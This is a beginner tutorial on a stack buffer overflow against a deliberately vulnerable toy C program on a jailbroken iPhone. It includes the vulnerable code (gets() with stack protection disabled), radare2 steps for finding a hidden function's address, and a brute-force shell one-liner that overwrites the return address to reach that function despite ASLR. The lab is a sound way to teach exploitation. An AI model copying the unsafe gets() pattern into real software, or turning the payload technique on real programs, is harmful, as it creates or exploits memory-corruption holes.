Simple Vulnerable Stack Buffer Overflow on iOS ARM64


Requirements:

Jailbroken iPhone with at least the following packages installed:

OpenSSH Radare2 Cr4shed

Warm Up:

First, let’s start writing a simple hello.c program. Below is our code:

//hello.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

void hidden(){

printf("Congratulations, you are inside the hidden function!!!\n");

exit(0);

}


int main(){

printf("cyberp0et welcomes you\n");
printf("Please type your name\n");

char buff[8];
gets(buff);

printf("Hello, %s\n", buff);

return 0;

}


Now let’s compile it with the following command on MacOS:

clang -g hello.c -o hello -isysroot

/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS14.4.sdk

-arch arm64 -mios-version-min=9.0 -fno-stack-protector

After compilation, transfer the “hello” binary into the iOS platform. After connecting to the phone via SSH, you should make it runnable and signed.

chmod +x hello
ldid -S hello

Let’s run it and see the regular way of program flow.

Cool, it’s running on iOS without any problem.

Yet, if we enter more characters than expected? Let’s try first with 20 ‘A’s: “AAAAAAAAAAAAAAAAAAAA”

We see an illegal instruction situation:

Let’s increase by four and input 24 ‘A’s: AAAAAAAAAAAAAAAAAAAAAAAA

This time we see “Bus error: 10”:

What is this Bus error? If we check out the documentation, we see that it is one of the Kill Signals:

gkill -t
 1 HUP    Hangup: 1
 2 INT    Interrupt: 2
 3 QUIT   Quit: 3
 4 ILL    Illegal instruction: 4
 5 TRAP   Trace/BPT trap: 5
 6 ABRT   Abort trap: 6
 7 EMT    EMT trap: 7
 8 FPE    Floating point exception: 8
 9 KILL   Killed: 9
10 BUS    Bus error: 10
11 SEGV   Segmentation fault: 11
12 SYS    Bad system call: 12
13 PIPE   Broken pipe: 13
14 ALRM   Alarm clock: 14
15 TERM   Terminated: 15
16 URG    Urgent I/O condition: 16
17 STOP   Suspended (signal): 17
18 TSTP   Suspended: 18
19 CONT   Continued: 19
20 CHLD   Child exited: 20
21 TTIN   Stopped (tty input): 21
22 TTOU   Stopped (tty output): 22
23 IO     I/O possible: 23
24 XCPU   Cputime limit exceeded: 24
25 XFSZ   Filesize limit exceeded: 25
26 VTALRM Virtual timer expired: 26
27 PROF   Profiling timer expired: 27
28 WINCH  Window size changes: 28
29 INFO   Information request: 29
30 USR1   User defined signal 1: 30
31 USR2   User defined signal 2: 31

As you can see from the crash logs, we indeed succeeded in BoF (I used Cr4shed for this purpose).

Action:

So, let’s continue to play on. Indeed, can we directly call the hidden function somehow?

Now, switch to radare and check out the address of hidden function inside:

r2 hello
    aaa
    afl

Here we can see the hidden function name: sym._hidden. Let’s disassemble it:

s sym._hidden
    pdf
     Here we learn the start address of the hidden function: 0x100007e50

We cannot directly call the address of 0x100007e50 in one shot. Because there is ASLR in action. Yet, just with a simple liner we can try to call this function many many times with the hope of hit (by the way remember to blacklist the process “hello” on Cr4shed, so it won’t make stuck the phone memory):

Knock out:

We are ready to run our one liner:

for x in $(seq 1 5000); do printf  "AAAAAAAAAAAAAAAAAAAA\x50\x7e\x00\x00\x01" | ./hello 2>&1 | grep hidden;  
Done

Finally we see a hit on the hidden function, yupppiii

References:

Return Oriented Programming for Beginners - ROP on ARM Tutorial (ROPLevel1) by Billy Ellis.